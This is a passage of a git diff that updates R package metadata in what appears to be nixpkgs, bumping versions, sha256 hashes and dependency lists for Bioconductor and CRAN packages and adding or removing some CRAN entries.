"Biobase", "DBI", "RSQLite"] }, "LRcell": { @@ -3623,8 +3623,8 @@ }, "MOSClip": { "name": "MOSClip", - "version": "1.2.1", - "sha256": "0cf4anlxsqvwf7s0ljvs19ai63rhf08nanpy824p9zmi49q53v78", + "version": "1.2.2", + "sha256": "1m69aywsksz05jbbvbvr2y5q12khydy9i0izcxl04gnf3790kgdf", "depends": ["AnnotationDbi", "ComplexHeatmap", "FactoMineR", "Matrix", "MultiAssayExperiment", "NbClust", "RColorBrewer", "S4Vectors", "SuperExactTest", "checkmate", "circlize", "corpcor", "coxrobust", "elasticnet", "gRbase", "ggplot2", "ggplotify", "graph", "graphite", "gridExtra", "igraph", "org_Hs_eg_db", "pheatmap", "qpgraph", "reshape", "survival", "survminer"] }, "MOSim": { @@ -3707,8 +3707,8 @@ }, "MSstatsLiP": { "name": "MSstatsLiP", - "version": "1.13.0", - "sha256": "1b4j52mqkkk8mqjxkyrjp8qw9vw1qli4xgcmrizyrjhkzchl520r", + "version": "1.14.1", + "sha256": "1dkiywwj8nj9hadjbhbgavkq4xczbvb9s3pwl01d4mig584j7cqc", "depends": ["Biostrings", "MSstats", "MSstatsConvert", "MSstatsPTM", "Rcpp", "checkmate", "data_table", "dplyr", "factoextra", "ggplot2", "ggpubr", "gridExtra", "purrr", "scales", "stringr", "tibble", "tidyr", "tidyverse"] }, "MSstatsPTM": { @@ -3887,9 +3887,9 @@ }, "MetaboDynamics": { "name": "MetaboDynamics", - "version": "1.0.0", - "sha256": "1llxv4295y78w6kwylm5vp6f0cbkvi2mzhzqm8z4lw1ad18ffyg0", - "depends": ["BH", "KEGGREST", "Rcpp", "RcppEigen", "RcppParallel", "S4Vectors", "StanHeaders", "SummarizedExperiment", "dendextend", "dplyr", "dynamicTreeCut", "ggplot2", "rstan", "rstantools", "stringr", "tidyr"] + "version": "1.0.2", + "sha256": "1kaasmn9qx8gd6kyw691a4v6ixznpds37j10694y3dq8rh7xa65y", + "depends": ["BH", "KEGGREST", "Rcpp", "RcppEigen", "RcppParallel", "S4Vectors", "StanHeaders", "SummarizedExperiment", "dendextend", "dplyr", "dynamicTreeCut", "ggplot2", "rlang", "rstan", "rstantools", "stringr", "tidyr"] }, "MetaboSignal": { "name": "MetaboSignal", @@ -4085,8 +4085,8 @@ }, "MsExperiment": { "name": "MsExperiment", - "version": "1.10.0", - "sha256": "0wwwm4b1yp1d8ppzyricqa3859macffi8ncddmfaipiziglcc7l4", + "version": "1.10.1", + "sha256": "18ig97c7clzsm0nj38gkl722130mkrb4k80hwjazyy8nx3civir0", "depends": ["BiocGenerics", "DBI", "IRanges", "ProtGenerics", "QFeatures", "S4Vectors", "Spectra", "SummarizedExperiment"] }, "MsFeatures": { @@ -4267,7 +4267,7 @@ "name": "NormqPCR", "version": "1.54.0", "sha256": "0dg0idsx2v7nj7jg44adg2vw06405b1c4f288sdkpin6azak0i67", - "depends": ["Biobase", "RColorBrewer", "ReadqPCR"] + "depends": ["Biobase", "RColorBrewer", "ReadqPCR", "qpcR"] }, "NuPoP": { "name": "NuPoP", @@ -4343,9 +4343,9 @@ }, "OUTRIDER": { "name": "OUTRIDER", - "version": "1.26.1", - "sha256": "15p5rn3v4571q2b5vr95l7rab1phzx61rwn26mfr1s1nh2zvcaly", - "depends": ["BBmisc", "BiocGenerics", "BiocParallel", "DESeq2", "GenomicFeatures", "GenomicRanges", "IRanges", "PRROC", "RColorBrewer", "Rcpp", "RcppArmadillo", "S4Vectors", "SummarizedExperiment", "data_table", "generics", "ggplot2", "ggrepel", "heatmaply", "matrixStats", "pcaMethods", "pheatmap", "plotly", "plyr", "reshape2", "scales", "txdbmaker"] + "version": "1.26.2", + "sha256": "1pnkqc85myvvxam6m8x94iixyz4smh5kps66xzqsmpgsh2v6r999", + "depends": ["BBmisc", "BiocGenerics", "BiocParallel", "DESeq2", "GenomicFeatures", "GenomicRanges", "IRanges", "PRROC", "RColorBrewer", "RMTstat", "Rcpp", "RcppArmadillo", "S4Vectors", "SummarizedExperiment", "data_table", "generics", "ggplot2", "ggrepel", "heatmaply", "matrixStats", "pcaMethods", "pheatmap", "plotly", "plyr", "pracma", "reshape2", "scales", "txdbmaker"] }, "OVESEG": { "name": "OVESEG", @@ -4559,8 +4559,8 @@ }, "PRONE": { "name": "PRONE", - "version": "1.2.0", - "sha256": "1zdp7s64nvs5knhk1f6kmvvsdga8k79fgj24bdr194zizz1fplvq", + "version": "1.2.1", + "sha256": "00hmcdf5v3n4asynakd1zdpgda6bf8pia6kvccbb7y1dpbvhgks1", "depends": ["Biobase", "ComplexHeatmap", "ComplexUpset", "DEqMS", "MASS", "MSnbase", "NormalyzerDE", "POMA", "RColorBrewer", "ROTS", "S4Vectors", "SummarizedExperiment", "UpSetR", "circlize", "data_table", "dendsort", "dplyr", "edgeR", "ggplot2", "ggtext", "gprofiler2", "gtools", "limma", "magrittr", "matrixStats", "plotROC", "preprocessCore", "purrr", "reshape2", "scales", "stringr", "tibble", "tidyr", "vegan", "vsn"] }, "PROPER": { @@ -4673,9 +4673,9 @@ }, "PhyloProfile": { "name": "PhyloProfile", - "version": "2.0.1", - "sha256": "167qajlbycq3piabhcyj6srfrzsawxip0pndjqnka1nnsm9wybqd", - "depends": ["BiocStyle", "Biostrings", "DT", "ExperimentHub", "RColorBrewer", "RCurl", "Rfast", "ape", "bioDist", "colourpicker", "data_table", "dplyr", "energy", "extrafont", "fastcluster", "ggplot2", "gridExtra", "pbapply", "plotly", "scattermore", "shiny", "shinyBS", "shinyFiles", "shinycssloaders", "shinyjs", "stringr", "svglite", "tsne", "umap", "xml2", "yaml", "zoo"] + "version": "2.0.4", + "sha256": "038im33ij200mnprq3d46q65ymjqwaxk9jspjn494156qaf2w5zz", + "depends": ["BiocStyle", "Biostrings", "DT", "ExperimentHub", "RColorBrewer", "RCurl", "Rfast", "ape", "bioDist", "colourpicker", "data_table", "dplyr", "energy", "extrafont", "fastcluster", "ggplot2", "gridExtra", "htmlwidgets", "pbapply", "plotly", "scattermore", "shiny", "shinyBS", "shinyFiles", "shinycssloaders", "shinyjs", "stringr", "svglite", "tsne", "umap", "xml2", "yaml", "zoo"] }, "Pigengene": { "name": "Pigengene", @@ -5315,8 +5315,8 @@ }, "ReducedExperiment": { "name": "ReducedExperiment", - "version": "0.99.6", - "sha256": "1740r20m83407i79pbpqrqwwy0pc7vwgs9jdhgaw2r1aqq959wf4", + "version": "1.0.2", + "sha256": "0mj7gv60scgb860parqzfp4z1yx7mdjfgym54li16rva89d4m793", "depends": ["BiocGenerics", "BiocParallel", "RColorBrewer", "S4Vectors", "SummarizedExperiment", "WGCNA", "biomaRt", "car", "clusterProfiler", "ggplot2", "ica", "lme4", "lmerTest", "moments", "msigdbr", "patchwork", "pheatmap"] }, "RegEnrich": { @@ -5489,8 +5489,8 @@ }, "S4Arrays": { "name": "S4Arrays", - "version": "1.8.0", - "sha256": "17xkmb5vvzmrappfx0ddx0bkdqfxiw2j7nhkwywn442ak46cjs3l", + "version": "1.8.1", + "sha256": "03y7yfym5xy0jg0c0ccmv3m1cbi4f96k3ny5p618xh309h1sizgi", "depends": ["BiocGenerics", "IRanges", "Matrix", "S4Vectors", "abind", "crayon"] }, "S4Vectors": { @@ -5735,9 +5735,9 @@ }, "SPOTlight": { "name": "SPOTlight", - "version": "1.12.0", - "sha256": "15qlf9599zy3p4nhhc0dcnix9b89qr7yvpaqyi2xldsriwph3vwb", - "depends": ["Matrix", "NMF", "SingleCellExperiment", "ggplot2", "matrixStats", "nnls", "sparseMatrixStats"] + "version": "1.12.1", + "sha256": "1kwx2nx6mh8sw6gj5m5w4i5cn056jxb4sf08jqnq9f0706arzrbp", + "depends": ["Matrix", "Rcpp", "RcppEigen", "SingleCellExperiment", "ggplot2", "sparseMatrixStats"] }, "SPsimSeq": { "name": "SPsimSeq", @@ -6023,8 +6023,8 @@ }, "Spectra": { "name": "Spectra", - "version": "1.18.1", - "sha256": "1w9aimvgwwc0m5yqawb8yvi9i2isdq33f8j41whrm8nzs86k8msh", + "version": "1.18.2", + "sha256": "0j0d58ypqsrrd2k8zw5mhdhndib40y4sdblj6dgffvy06069wd3r", "depends": ["BiocGenerics", "BiocParallel", "IRanges", "MetaboCoreUtils", "MsCoreUtils", "ProtGenerics", "S4Vectors", "fs"] }, "SpectraQL": { @@ -6125,8 +6125,8 @@ }, "SurfR": { "name": "SurfR", - "version": "1.4.0", - "sha256": "0nmx9d5cp91zqglgddsdzcc8cdhnhz4wpaw5z5v7x652zc5a6hmg", + "version": "1.4.1", + "sha256": "04yh8ah8198bkp166vsqvi5hcsqkdids39pah6k15n4j22avc2g4", "depends": ["BiocFileCache", "DESeq2", "SPsimSeq", "SummarizedExperiment", "TCGAbiolinks", "assertr", "biomaRt", "curl", "dplyr", "edgeR", "ggplot2", "ggrepel", "gridExtra", "httr", "knitr", "magrittr", "metaRNASeq", "openxlsx", "rhdf5", "rjson", "scales", "stringr", "tidyr", "venn"] }, "SwathXtend": { @@ -6803,8 +6803,8 @@ }, "alabaster_bumpy": { "name": "alabaster.bumpy", - "version": "1.8.0", - "sha256": "1bv12pwwjri951r93vd2w1mrhhjk45rmz06zdvjw6dkyx76sim6w", + "version": "1.8.1", + "sha256": "1axx1pz6ba7lb7n81rvykd7wyiz5ljbdnflmgr6vsr9l9m0sg3vj", "depends": ["BiocGenerics", "BumpyMatrix", "IRanges", "Matrix", "S4Vectors", "alabaster_base", "rhdf5"] }, "alabaster_files": { @@ -7007,8 +7007,8 @@ }, "atena": { "name": "atena", - "version": "1.14.0", - "sha256": "013bfmsy4dkb7zl31vb72pz9kmlkcghrnpkrdrzkrxcf1mgyzad4", + "version": "1.14.1", + "sha256": "149b2hx8bvgmy9qdg5cm5icx8xi2pj0ysfaxisvrh1500rwh6kf8", "depends": ["AnnotationHub", "BiocGenerics", "BiocParallel", "GenomeInfoDb", "GenomicAlignments", "GenomicFeatures", "GenomicRanges", "IRanges", "Matrix", "MatrixGenerics", "Rsamtools", "S4Vectors", "SQUAREM", "SummarizedExperiment", "cli", "matrixStats", "sparseMatrixStats"] }, "attract": { @@ -7373,8 +7373,8 @@ }, "broadSeq": { "name": "broadSeq", - "version": "1.2.0", - "sha256": "1s2jd5b0gyb692zdgn4vffvi3s9kjs8b1627wmhrdzf83xq4gf1g", + "version": "1.2.1", + "sha256": "11h5qshrarpzz9v4pzpzmrhcfwg2hfq2gfp4hxsxfhbi8w4j9grp", "depends": ["BiocStyle", "DELocal", "DESeq2", "EBSeq", "NOISeq", "SummarizedExperiment", "clusterProfiler", "dplyr", "edgeR", "forcats", "genefilter", "ggplot2", "ggplotify", "ggpubr", "pheatmap", "plyr", "purrr", "sechm", "stringr"] }, "bsseq": { @@ -7385,8 +7385,8 @@ }, "bugsigdbr": { "name": "bugsigdbr", - "version": "1.14.1", - "sha256": "12wijccgfv7k0rd7h2klkmbv9mxc5ixjhd3bzy7fs4xizv6ig358", + "version": "1.14.3", + "sha256": "0ymr4di7daf5n0jy71lbn5wlyvdpid64n80inlvgf3n6w1qf76h4", "depends": ["BiocFileCache", "vroom"] }, "bumphunter": { @@ -8717,8 +8717,8 @@ }, "fastreeR": { "name": "fastreeR", - "version": "1.12.0", - "sha256": "1jxacmqm1n0a491rkvijfz6ki1v8ff7d16cwj3f5aykark8abqz0", + "version": "1.12.2", + "sha256": "15q6mkka780kfydg2j8s5kk82gkqj8qaa7py6k9k85mq08iyqq6w", "depends": ["R_utils", "ape", "data_table", "dynamicTreeCut", "rJava", "stringr"] }, "fastseg": { @@ -8747,8 +8747,8 @@ }, "fenr": { "name": "fenr", - "version": "1.6.0", - "sha256": "09v92fibkny0v2yx5qnvn7iyhwwbx67sal484lf1z96x7ln56hq8", + "version": "1.6.1", + "sha256": "0drvdhi8zynnx7h77mlfkxf7sqw8hydz8ni7sz1zvs920s8x4h5h", "depends": ["BiocFileCache", "assertthat", "dplyr", "ggplot2", "httr2", "progress", "purrr", "readr", "rlang", "rvest", "shiny", "stringr", "tibble", "tidyr", "tidyselect"] }, "ffpe": { @@ -9005,8 +9005,8 @@ }, "gDNAx": { "name": "gDNAx", - "version": "1.6.0", - "sha256": "1zvippq7i4jrp0jsjcfgq64ghvnxnp7csx284zhyb2gghqgfad6w", + "version": "1.6.1", + "sha256": "0cnpgrsy8xz6xr8adyynlxwzkipd88035802albvyxlmms3jhr9v", "depends": ["AnnotationDbi", "AnnotationHub", "BiocGenerics", "BiocParallel", "Biostrings", "GenomeInfoDb", "GenomicAlignments", "GenomicFeatures", "GenomicFiles", "GenomicRanges", "IRanges", "RColorBrewer", "Rsamtools", "S4Vectors", "SummarizedExperiment", "bitops", "cli", "matrixStats", "plotrix"] }, "gDR": { @@ -9107,8 +9107,8 @@ }, "gemma_R": { "name": "gemma.R", - "version": "3.4.1", - "sha256": "1qkmy4bm8vk4nc54xal55xnjnnpb49xb4gp6474ry02sx2jdkqkk", + "version": "3.4.4", + "sha256": "10snazyyvy285dqm6fmr6s3znszgqqik7fiyvka85v0srz1x1g8c", "depends": ["Biobase", "R_utils", "S4Vectors", "SummarizedExperiment", "assertthat", "base64enc", "bit64", "data_table", "digest", "glue", "httr", "jsonlite", "kableExtra", "lubridate", "magrittr", "memoise", "rappdirs", "rlang", "stringr", "tibble", "tidyr"] }, "genArise": { @@ -9281,8 +9281,8 @@ }, "ggspavis": { "name": "ggspavis", - "version": "1.14.1", - "sha256": "1d79n9wrzcrpczizmjpwx8b9a105l5mdhaz2ih1x98lj1f1zpsl9", + "version": "1.14.3", + "sha256": "1fi54ndrlxpmwyrxq790nad781rjzb0v2ja398af58fhyqgrqzpz", "depends": ["RColorBrewer", "SingleCellExperiment", "SpatialExperiment", "SummarizedExperiment", "ggplot2", "ggrepel", "ggside", "scales"] }, "ggtree": { @@ -9797,8 +9797,8 @@ }, "immApex": { "name": "immApex", - "version": "1.2.0", - "sha256": "0m4g0qriq0fxp9qhz3jlb03nir8sh81b4pdix63bb3bgkyn7sncn", + "version": "1.2.1", + "sha256": "04ns6k3054mw1gjvvyb4rpfvpah0s9r1nn5wx7ylnx92qrrp3qpz", "depends": ["Rcpp", "SingleCellExperiment", "hash", "httr", "igraph", "keras3", "magrittr", "matrixStats", "reticulate", "rvest", "stringi", "stringr", "tensorflow"] }, "immunoClust": { @@ -9911,8 +9911,8 @@ }, "karyoploteR": { "name": "karyoploteR", - "version": "1.33.0", - "sha256": "0qb6wr88j65v5qxibc1kz6w928388clzcldn43206fpxp0imj0fg", + "version": "1.34.2", + "sha256": "0n8cwyz0fv5k0m1pi4yqx2bph967029yb807jckyb90g2rldwwbp", "depends": ["AnnotationDbi", "GenomeInfoDb", "GenomicFeatures", "GenomicRanges", "IRanges", "Rsamtools", "S4Vectors", "VariantAnnotation", "bamsignals", "bezier", "biovizBase", "digest", "memoise", "regioneR", "rtracklayer"] }, "katdetectr": { @@ -9995,8 +9995,8 @@ }, "limma": { "name": "limma", - "version": "3.64.0", - "sha256": "1c06l6g4c5p1h4nbgkvk31hhlgi8r0bjpgf4f8bgdx4ah9fncga5", + "version": "3.64.1", + "sha256": "0l20jfcny1mjn4wykaqxsgabsfwpidk4pxicnqflqwidhq9cxski", "depends": ["statmod"] }, "limmaGUI": { @@ -10007,8 +10007,8 @@ }, "limpa": { "name": "limpa", - "version": "1.0.2", - "sha256": "0l2kr2r5zhyp9v30jar4cdfv2q5fvcnshi0pc8vcy0f86mjksab0", + "version": "1.0.3", + "sha256": "1zzv88m0mnlx0mzq6ya5haa0fw2p9grnjklmp6z9k9fa67ndlizf", "depends": ["data_table", "limma", "statmod"] }, "limpca": { @@ -10499,8 +10499,8 @@ }, "miRcomp": { "name": "miRcomp", - "version": "1.38.0", - "sha256": "1rndl30dybmp4abpswizd1bhqy66j4fqq8gdxllr4cnajz2759yr", + "version": "1.38.1", + "sha256": "0haz9h44r4s7f2sbsrglicss91qchjjgp6s9z8qj50zngkm9jdk2", "depends": ["Biobase", "KernSmooth", "miRcompData"] }, "miRspongeR": { @@ -10997,8 +10997,8 @@ }, "nondetects": { "name": "nondetects", - "version": "2.37.1", - "sha256": "0xy5hbysrssrglxzlqmrcp5dxqndj062nnmxpw466hy6khn743p4", + "version": "2.38.1", + "sha256": "19jzd2yinjgqawk4ay1ywwlyw5q9yhrp3pa12z1w0caprxzxddkx", "depends": ["Biobase", "HTqPCR", "arm", "limma", "mvtnorm"] }, "normalize450K": { @@ -11267,8 +11267,8 @@ }, "parody": { "name": "parody", - "version": "1.66.0", - "sha256": "055m8f3h7gdpdxl31bwky9y3xdlazd0wx4mjyll7zbww0lkil1rj", + "version": "1.66.1", + "sha256": "064pr73zbx3008khmnif7frxdhgbmarbzqa82lzmvzh4a5ldr15z", "depends": [] }, "partCNV": { @@ -11279,8 +11279,8 @@ }, "pathMED": { "name": "pathMED", - "version": "1.0.0", - "sha256": "1l30vx82bi27zcyvd1cjspa09l219bxq2llz088gx8ilc222bxfj", + "version": "1.0.2", + "sha256": "1v36dah8pd6fxwnyp89qlpnbd5cxq86ndk9l7bwrwri6p17kgrgy", "depends": ["BiocParallel", "FactoMineR", "GSVA", "caret", "caretEnsemble", "decoupleR", "dplyr", "factoextra", "ggplot2", "magrittr", "matrixStats", "metrica", "pbapply", "reshape2", "singscore", "stringi"] }, "pathRender": { @@ -11969,8 +11969,8 @@ }, "regioneR": { "name": "regioneR", - "version": "1.39.0", - "sha256": "0fq8rcibsmh7vicw0p567w4847mpgj5wcc4gcsphym02hzl5ppqb", + "version": "1.40.1", + "sha256": "1w8s1vzb2zxswizdw4gj73r7bpxpma7jh6lxkv454k4b8i85h3xc", "depends": ["BSgenome", "Biostrings", "GenomeInfoDb", "GenomicRanges", "IRanges", "S4Vectors", "memoise", "rtracklayer"] }, "regioneReloaded": { @@ -12029,8 +12029,8 @@ }, "rhdf5": { "name": "rhdf5", - "version": "2.52.0", - "sha256": "1v243bhy2aq721fhsw3xhpqqmfax53yjvqn3783w8g1jas3q1w8z", + "version": "2.52.1", + "sha256": "1i5jf15blg4c36648m2m66y66hical16j05jvqsfh4b0rnmd94yr", "depends": ["Rhdf5lib", "rhdf5filters"] }, "rhdf5client": { @@ -12083,8 +12083,8 @@ }, "rigvf": { "name": "rigvf", - "version": "1.0.0", - "sha256": "1imd47vcf3334ysna57dz2d2amgyhg179gl85mn1ry0m4aih1l42", + "version": "1.0.2", + "sha256": "0fijdnk3vggxnaay93ggqzl1csfkv7zjjvivhfpd62jd1k6sqx93", "depends": ["GenomeInfoDb", "GenomicRanges", "IRanges", "cachem", "dplyr", "httr2", "jsonlite", "memoise", "rjsoncons", "rlang", "tidyr", "whisker"] }, "rmelting": { @@ -12395,8 +12395,8 @@ }, "scQTLtools": { "name": "scQTLtools", - "version": "1.0.1", - "sha256": "174lp7bb3fnydns175p8xqw11nyj33l7k1x7kk8kr136sp49czyy", + "version": "1.0.3", + "sha256": "0k1ps1l56a7ybk28py515c39a9b798ysh7c47zj3w6fqncc6gpl7", "depends": ["DESeq2", "GOSemSim", "Matrix", "SeuratObject", "SingleCellExperiment", "SummarizedExperiment", "VGAM", "biomaRt", "dplyr", "gamlss", "ggplot2", "limma", "magrittr", "patchwork", "progress", "stringr"] }, "scRNAseqApp": { @@ -13241,8 +13241,8 @@ }, "systemPipeR": { "name": "systemPipeR", - "version": "2.14.0", - "sha256": "05zrcj46z3305hn6p2744w0ilsg7r2xxgm4y33pra0397ga43a13", + "version": "2.14.2", + "sha256": "0l3h2n1705y33n1l9cgxbf9dlx6aksk7r9h55jdb6jbz3wcwqlzq", "depends": ["BiocGenerics", "Biostrings", "GenomicRanges", "Rsamtools", "S4Vectors", "ShortRead", "SummarizedExperiment", "crayon", "ggplot2", "htmlwidgets", "magrittr", "stringr", "yaml"] }, "systemPipeShiny": { @@ -13781,9 +13781,9 @@ }, "xCell2": { "name": "xCell2", - "version": "1.0.0", - "sha256": "1hrq387m65sf9nkv6rf8khkwmsk58jmrayn8sxdbnw44pljcw2hk", - "depends": ["AnnotationHub", "BiocParallel", "Matrix", "Rfast", "SingleCellExperiment", "SummarizedExperiment", "dplyr", "magrittr", "minpack_lm", "ontologyIndex", "pracma", "progress", "quadprog", "readr", "singscore", "tibble"] + "version": "1.0.2", + "sha256": "18nvrfl47h92cf9fx0cxglswq18fbmxgh1lzxpfvkgqrb4clvwki", + "depends": ["AnnotationHub", "BiocParallel", "Matrix", "Rfast", "SingleCellExperiment", "SummarizedExperiment", "dplyr", "magrittr", "minpack_lm", "ontologyIndex", "pracma", "progress", "quadprog", "readr", "singscore", "tibble", "tidyselect"] }, "xcms": { "name": "xcms", diff --git a/pkgs/development/r-modules/cran-packages.json b/pkgs/development/r-modules/cran-packages.json index 7dd41655cc41..e838ab68953c 100644 --- a/pkgs/development/r-modules/cran-packages.json +++ b/pkgs/development/r-modules/cran-packages.json @@ -1,12 +1,6 @@ { "extraArgs": {}, "packages": { - "A3": { - "name": "A3", - "version": "1.0.0", - "sha256": "017hq9pjsv1h9i7cqk5cfx27as54shlhdsdvr6jkhb8jfkpdb6cw", - "depends": ["pbapply", "xtable"] - }, "AATtools": { "name": "AATtools", "version": "0.0.3", @@ -259,12 +253,6 @@ "sha256": "0ri0wllf87nxma9i51j89yd4yhkgjnjj5kls3768bi0h9wlyvxmp", "depends": ["ggplot2"] }, - "AFM": { - "name": "AFM", - "version": "2.0", - "sha256": "1l0yd68h8vlii1437zhyrxj6fq1ghfaqclk860c25q2d055ajnqd", - "depends": ["data_table", "dbscan", "fftwtools", "fractaldim", "ggplot2", "gridExtra", "gstat", "igraph", "mixtools", "moments", "plyr", "png", "pracma", "rgl", "scales", "shiny", "shinyjs", "sp", "stringr"] - }, "AFR": { "name": "AFR", "version": "0.3.6", @@ -477,8 +465,8 @@ }, "AMR": { "name": "AMR", - "version": "2.1.1", - "sha256": "0dgql8s7jzk3cmjnvn09rsymz1zwzk2983rvcccl5z00x9d7yg7k", + "version": "3.0.0", + "sha256": "0s0iv4sdg18r25dr5ym4liz2sxrz561an8bhzqqzfpjq8xb23yil", "depends": [] }, "ANN2": { @@ -589,6 +577,12 @@ "sha256": "1bg9ma4i3k3xdgyk2h4f368gqnczvlhvjw4114iznmrv1wl4g25c", "depends": ["densratio"] }, + "APTIcalc": { + "name": "APTIcalc", + "version": "0.1.0", + "sha256": "0kavxdif665i9ir8a4yj21anp6s0c9y0dmn53lqw7ss73nvq6kzl", + "depends": ["ggplot2", "shiny"] + }, "APackOfTheClones": { "name": "APackOfTheClones", "version": "1.2.4", @@ -873,14 +867,14 @@ }, "AccSamplingDesign": { "name": "AccSamplingDesign", - "version": "0.0.2", - "sha256": "1bc7aks8x452dd3k3pd1nv33kzg8nqjwdgdv9gp1sq9zd3071kmh", + "version": "0.0.3", + "sha256": "0ybwk2nc0g7pma48rr3kbwadvgmaqp7206n3qmdhz4c86an9kgk4", "depends": [] }, "AccelStab": { "name": "AccelStab", - "version": "2.2.0", - "sha256": "1i2zm60bhzgc67j4d7ga0vdli5wii9h3k9vsr59z0jjng1kyjfih", + "version": "2.2.1", + "sha256": "1cymvl74lgpa96k4bfri5w7w9bdsz13g7i5i57x6rv0nz6g8pky3", "depends": ["dplyr", "ggplot2", "minpack_lm", "mvtnorm", "scales"] }, "AcceptReject": { @@ -901,12 +895,6 @@ "sha256": "1xkhplw7jpz7y86nac2z5vk2xs898kfv6apmk3rahjr0rmdijdqg", "depends": ["DatabaseConnector", "ParallelLogger", "SqlRender", "data_table", "dplyr", "jsonlite", "lubridate", "readr", "rlang", "tseries"] }, - "AcrossTic": { - "name": "AcrossTic", - "version": "1.0-3", - "sha256": "03180h79jhjd66ibrnsfp3yyp2jlfysp7cymw46phzj2palghsc0", - "depends": ["lpSolve", "treeClust"] - }, "ActCR": { "name": "ActCR", "version": "0.3.0", @@ -1087,6 +1075,12 @@ "sha256": "0cvq4r587srxcm8whryn48j2ynzzmn7hdalhxp50qx39qhpgrlps", "depends": ["Rcpp"] }, + "AiES": { + "name": "AiES", + "version": "0.99.6", + "sha256": "118myk3aa347mbg4ysajv60ggj5hyxk0sbsgxqa26nb6p96dbjrm", + "depends": ["EBImage", "data_table", "e1071", "fs"] + }, "AirExposure": { "name": "AirExposure", "version": "1.0", @@ -1237,6 +1231,12 @@ "sha256": "02ars06pmg0f0biy022yz2xf0sdmww9ff9zcpl74gah3sickq9ci", "depends": ["DESeq2", "RColorBrewer", "ape", "data_table", "ggplot2", "ggrepel", "lookup", "pheatmap", "plyr", "rafalib"] }, + "Analitica": { + "name": "Analitica", + "version": "1.8.1", + "sha256": "08i32s1finkrksiacn7xyhdx6597gdvaczmfsc0v5qyyaj6xrzkq", + "depends": ["dplyr", "ggplot2", "ggridges", "magrittr", "moments", "multcompView", "patchwork", "rlang", "tidyr", "tidyselect"] + }, "AnalysisLin": { "name": "AnalysisLin", "version": "0.1.2", @@ -1483,12 +1483,6 @@ "sha256": "063iqmxrnir2qpa9hh8pi0mmya2i24yn4d1wxapz6wrbmfryc306", "depends": [] }, - "AssocTests": { - "name": "AssocTests", - "version": "1.0-1", - "sha256": "1wp5swnpd6m5g4zm14lllclmw058513n1g3kq1iqc0acjavkqy17", - "depends": ["cluster", "combinat", "fExtremes", "mvtnorm"] - }, "AsthmaNHANES": { "name": "AsthmaNHANES", "version": "1.1.0", @@ -1537,6 +1531,12 @@ "sha256": "07ja0r2fvdqb6y9xs9axdws7dqif9l92qjlmdh4rzfyf1gfqpcx8", "depends": ["DT", "data_table", "lubridate", "openair", "plotly", "shiny", "shinycssloaders"] }, + "AudioScatter": { + "name": "AudioScatter", + "version": "1.1.0", + "sha256": "0daz8qq6f9yh3pl1sxl9n3dfay21kwgpdrylmlc1dbpg5zdil5qq", + "depends": ["dplyr", "ggplot2", "magrittr", "scales", "tibble", "tidyverse"] + }, "AurieLSHGaussian": { "name": "AurieLSHGaussian", "version": "0.2.0", @@ -1821,9 +1821,9 @@ }, "BAT": { "name": "BAT", - "version": "2.9.6", - "sha256": "04wsr8sz70z7z6cqhmc4npqvh6ay9r1x5ghkp2ick58s0f6sagbf", - "depends": ["MASS", "ape", "geometry", "hypervolume", "nls2", "phytools", "terra", "vegan"] + "version": "2.10.0", + "sha256": "0gs6l0azb4qikv4ia37gavxzd028dqnhr9ga93ncm10kg4kl3jwr", + "depends": ["MASS", "TreeTools", "ape", "geometry", "hypervolume", "nls2", "phytools", "terra", "vegan"] }, "BATSS": { "name": "BATSS", @@ -2001,9 +2001,9 @@ }, "BED": { "name": "BED", - "version": "1.6.0", - "sha256": "0hma6wmrb6vqzhfsx5qgbsyw2kawpl80mmjac89xvfy1kmaz18qj", - "depends": ["DT", "dplyr", "miniUI", "neo2R", "readr", "rstudioapi", "shiny", "stringr", "visNetwork"] + "version": "1.6.2", + "sha256": "16sjiza20h6b71pqz753z4vb25l2plmpl9m6saz7jqm1ghi8g67z", + "depends": ["DT", "dplyr", "htmltools", "miniUI", "neo2R", "readr", "rstudioapi", "shiny", "stringr", "visNetwork"] }, "BEDASSLE": { "name": "BEDASSLE", @@ -2061,21 +2061,21 @@ }, "BFI": { "name": "BFI", - "version": "3.0.1", - "sha256": "00cl759fxpjwn1sz20zavzdmf2r9bxvg5sbmzwrzh8k75hmlskz4", + "version": "3.1.0", + "sha256": "0z7vwz9lv37lq69qisx9w8vbrarzapdw09aywg5d74pss51h1h9b", "depends": [] }, "BFS": { "name": "BFS", - "version": "0.5.13", - "sha256": "0awwp76q1aqx1rf35gl0z6jir9syq93m3flk95cwsd5rwp40lpg2", - "depends": ["curl", "dplyr", "fs", "httr2", "janitor", "lifecycle", "magrittr", "purrr", "pxweb", "rstac", "rvest", "sf", "tibble", "xml2", "zip"] + "version": "0.6.0", + "sha256": "1rhzd5v1kspvc421ph86dzq9mmmkz39pg5mr458vvb5bdabfbx7w", + "depends": ["curl", "dplyr", "fs", "httr2", "janitor", "lifecycle", "magrittr", "purrr", "pxweb", "rlang", "rvest", "tibble", "xml2", "zip"] }, "BFpack": { "name": "BFpack", - "version": "1.4.2", - "sha256": "1w6p6nhd94zqbriwgqz8ydpmld5ysgy96rigvxg62951mvm1q9j0", - "depends": ["Bergm", "MASS", "QRM", "bain", "coda", "ergm", "extraDistr", "lme4", "metaBMA", "mvtnorm", "pracma", "sandwich"] + "version": "1.5.0", + "sha256": "1bwnwddwv8h4v5ikjdbqrh0vixif3ljsv3qis224wg742mq0bg95", + "depends": ["Bergm", "MASS", "QRM", "bain", "berryFunctions", "coda", "ergm", "extraDistr", "lme4", "metaBMA", "mvtnorm", "pracma", "sandwich"] }, "BGData": { "name": "BGData", @@ -2121,9 +2121,9 @@ }, "BGmisc": { "name": "BGmisc", - "version": "1.3.5", - "sha256": "1w7mym07v0apzgzkw1y0bm6pry8bj5ap4ixs2w1pb3990k2c26vh", - "depends": ["Matrix", "data_table", "igraph", "kinship2", "stringr"] + "version": "1.4.3.1", + "sha256": "0hhalx81i5ilfk6fhiyd0cnwfvbjndwpvniqllm5fa9yy3cbd4iy", + "depends": ["Matrix", "data_table", "igraph", "stringr"] }, "BH": { "name": "BH", @@ -2353,12 +2353,6 @@ "sha256": "1y7ls4bj4rj64kqrqxvm0m2yf2lvpsjd993fx35q36c5668zxsxc", "depends": ["fitdistrplus", "partitions"] }, - "BMTAR": { - "name": "BMTAR", - "version": "0.1.1", - "sha256": "0c70vkgv2sdci33yrk2n297k105wnlxj1qchskdparkiipf47xsh", - "depends": ["Brobdingnag", "MASS", "MCMCpack", "doParallel", "expm", "ggplot2", "ks", "mvtnorm"] - }, "BMconcor": { "name": "BMconcor", "version": "2.0.0", @@ -2617,12 +2611,6 @@ "sha256": "1szkpcmagpig32vbs7klx71avjlmbd0cn123ljpc3i02b55lma7z", "depends": 